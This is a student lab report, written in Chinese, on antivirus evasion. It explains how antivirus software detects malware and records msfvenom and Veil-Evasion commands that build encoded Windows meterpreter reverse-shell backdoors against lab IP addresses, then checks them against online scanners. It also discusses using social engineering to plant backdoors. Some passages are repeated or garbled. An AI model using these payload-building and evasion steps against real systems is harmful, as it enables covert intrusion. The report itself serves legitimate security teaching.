20145339《网络对抗技术》免杀原理与实践
20145339《网络对抗技术》免杀原理与实践
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
-
启发式恶意软件检测
-
基于行为的恶意软件检测
如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。
(2)免杀是做什么?
使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。
(3)免杀的基本方法有哪些?
- 改变特征码
对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码
- 改变攻击行为
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
2.实践总结与体会
通过实验我了解了杀毒软件查杀的原理,以及一般恶意代码是如何伪装的。发现即使安装了杀毒软件以及防火墙,还是不能完全的保证电脑是安全的。
3.离实战还缺些什么技术或步骤?
在现实中我们不会如此轻易地把后门程序放入靶机中,这就需要把这个后门程序伪装后绑定到一些正规的程序中来让后门程序进入靶机。然后是需要一个稳定的ip地址来监听靶机。
4.实践过程记录
msfvenom直接生成meterpreter可执行文件
- Windows的IP地址为:
192.168.1.105
- Kali的IP地址为:
1931.68.1.106
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 PORT=5333 -f exe > test.exe
命令生成meterpreter可执行文件test.exe
- 使用ncat将文件传输到windows主机
-
我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
-
扫描结果:51%的杀软(20/39)报告发现病实验内容
- 自计算机病毒第一次问世,黑客和安全专家们就围绕着免杀和查杀两个内容展开了一场你来我往,奇招迭出的较量。虽然,现在我们的防火墙和杀软技术已经趋于成熟,但是由于其本身的滞后性特点,只能说道高一尺魔高一丈,我们这次就来学习免杀的一些原理
-
- 知己知彼方能百战不殆,我们先了解杀软是如何工作的
- 检测特征码:
- 依靠分析总结出计算机病毒中常出现的部分,例如,作者名称,地址,执行关键步骤的部分代码,来作为特征码。将大量特征码保存在病毒库中,杀毒依靠检索程序代码是否和库中特征码是否吻合
- 优点:能较准确查杀;缺点:具有滞后性
- 启发式恶意软件检测:
- 如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序
- 优点:能在一定程度上预防新型病毒;缺点:容易误报
- 基于行为检测:
- 与启发式检测类似,只是单纯依靠监测程序行为来作为标准
- 检测特征码:
- 你有张良计,我有过墙梯,针对上述查杀方法,我们应该如何瞒天过海?
- 改变特征码:
- 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码(相对,安全专家之后也对这种方法改进了相对的查杀方式,之后试验中会提到)
- 加壳,使其无法进行逆向,比对病毒库中的特征码
- 改变行为方式:
- 例如之前注入所用到的反弹端口连接
- 其他:
- 人永远是一个防御系统中最薄弱的一环,即使再严密的防御也可以通过社会工程学将其瓦解
- 改变特征码:
- 了解掌握上述的理论知识,并且初步运用到这次的实验中
- 了解,学习免杀平台Metasploit、Veil-Evasion的使用,结合上述理论尝试编写出能实现免杀的后门程序
- 知己知彼方能百战不殆,我们先了解杀软是如何工作的
Msfvenom使用编码器生成meterpreter可执行文件
- 编码一次
-
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.106 PORT=5333 -f exe > test1.exe
命令生成编码过的可执行文件test1.exe
- 使用ncat将文件传输到windows主机
-
再次检测:
- 扫描结果:46%的杀软(18/39)报告发现病毒
- 编码十次
-
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.106 PORT=5333 -f exe > test2.exe
命令生成编码过的可执行文件test2.exe
- 使用ncat将文件传输到windows主机
-
再次检测:
-
我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的
使用Veil-Evasion生成可执行文件
- 在Kali中打开veil-evasion:直接在输入
veil-evasion
-
然后在menu里面输入以下命令来生成可执行文件:
use python/meterpreter/rev_tcp set LHOST 192.168.1.106 generate 5333test 1
-
检测结果如下:
-
扫描结果:23%的杀软(9/39)报告发现病毒,效果显著提升。
使用C语言调用Shellcode
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.65 LPORT=333 -f c
命令生成一个C语言shellcode数组 -
利用这个数组在Windows主机的vs平台下写shellcode,
-
程序一生成就被360杀毒查杀了
问题回答
- 杀软是如何检测出恶意代码的
- 检测特征码
- 检测行为
- 启发性检测(详见实验内容部分)
- 免杀是做什么?
- 免杀就是想办法让自己所做的恶意代码骗过杀毒软件,或者躲开杀毒软件的检测查杀
- 免杀的基本方法
- 改变特征码,对特征码进行编码
- 加壳,使杀毒软件无法逆向分析我们恶意程序的特征码
- 改变行为方式
- 离实战还缺什么技术
- 绕过防火墙的连接技术,在能初步自身半手工制作恶意代码的条件下,我们最缺的还是传播的手段,在实验环境下,一般都是自己攻击自己,或者关闭了防火墙,都是在可以直接ping通的环境下进行的,而实际中大多数的防火墙都是开启的,我们根本无法完成初步连接绕过防火墙
- 在实验环境下,我们一般都是被控机主动连接主控机,而在实际环境中,我们很难做到这点,说来就是需要用我们的“人格魅力”去忽悠
- 说起来人总是防御环节中最薄弱的环节,最坚固的堡垒总是从内部被攻破的,社会工程学才是可以从内部瓦解对方防御的最强攻击技术
- 杀软是如何检测出恶意代码的